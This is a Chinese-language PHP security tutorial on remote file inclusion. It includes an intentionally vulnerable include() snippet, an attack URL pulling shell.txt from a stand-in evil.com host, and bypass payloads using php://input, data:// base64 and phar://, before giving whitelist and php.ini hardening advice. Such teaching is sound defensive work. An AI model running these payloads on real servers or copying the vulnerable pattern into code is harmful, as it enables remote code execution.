include 遇上不可信輸入以下代碼看似無害,實則藏著巨大風險:
<?php
$file_name = $_GET["filename"];
include("$file_name "); // 直接包含用戶指定文件
?>
攻擊者可構造 https://target.com/test.php?filename=https://evil.com/shell.txt,導致服務器執行遠程惡意腳本(注意:PHP 只取遠程腳本的輸出結果,而非源碼)。
Warning: include(.php) failed... 暴露絕對路徑與包含邏輯。hello.txt,內容 <?php echo "hello world!"; ?>。?filename=https://192.168.0.1/hello.txt,目標服務器輸出 hello world!,證明任意代碼執行成功。<?php
$file_name = $_GET["filename"];
// 禁止路徑穿越、限制後綴、白名單機制
$allowed = ['home', 'about', 'contact'];
if (!in_array($file_name, $allowed)) {
die("頁面不存在");
}
include("$file_name.php");
?>
核心點:@include 抑制警告、die() 統一錯誤頁面、嚴格白名單 而非黑名單過濾。
<?php
$file_name = str_replace('/', '', $_GET["filename"]); // 移除斜線
if (!@include("$file_name.php")) {
die("頁面錯誤");
}
?>
此法可阻擋 https:// 協議頭,但無法防禦:php://input、data://、phar:// 等偽協議,也不防本地文件包含(LFI)。不建議作為唯一防線。
allow_url_include=Off即使關閉 allow_url_include,以下偽協議仍可利用:
php://input — 直接包含 POST 原始數據:include "php://input";data:// — 包含 Base64 編碼 Payload:include "data:;base64,PD9waHAgcGhwaW5mbygpOz8+";phar:// — 利用 PHAR 反序列化鏈(需上傳惡意 PHAR 文件)根本修復:禁用動態包含、採用路由分發、啟用 Suhosin/Hardening Patch、open_basedir 限制目錄。
include/require $_GET/$_POST/$_REQUEST 變量php.ini 設定:allow_url_include=Off、allow_url_fopen=Off(業務允許時再開)open_basedir 限制腳本只能訪問項目目錄include/require 動態調用點遠程文件包含(RFI)是 PHP 歷史上最經典、殺傷力最大的漏洞之一。徹底根治的關鍵在於架構層面杜絕動態包含,而非依賴配置開關或字串過濾。安全,始於設計。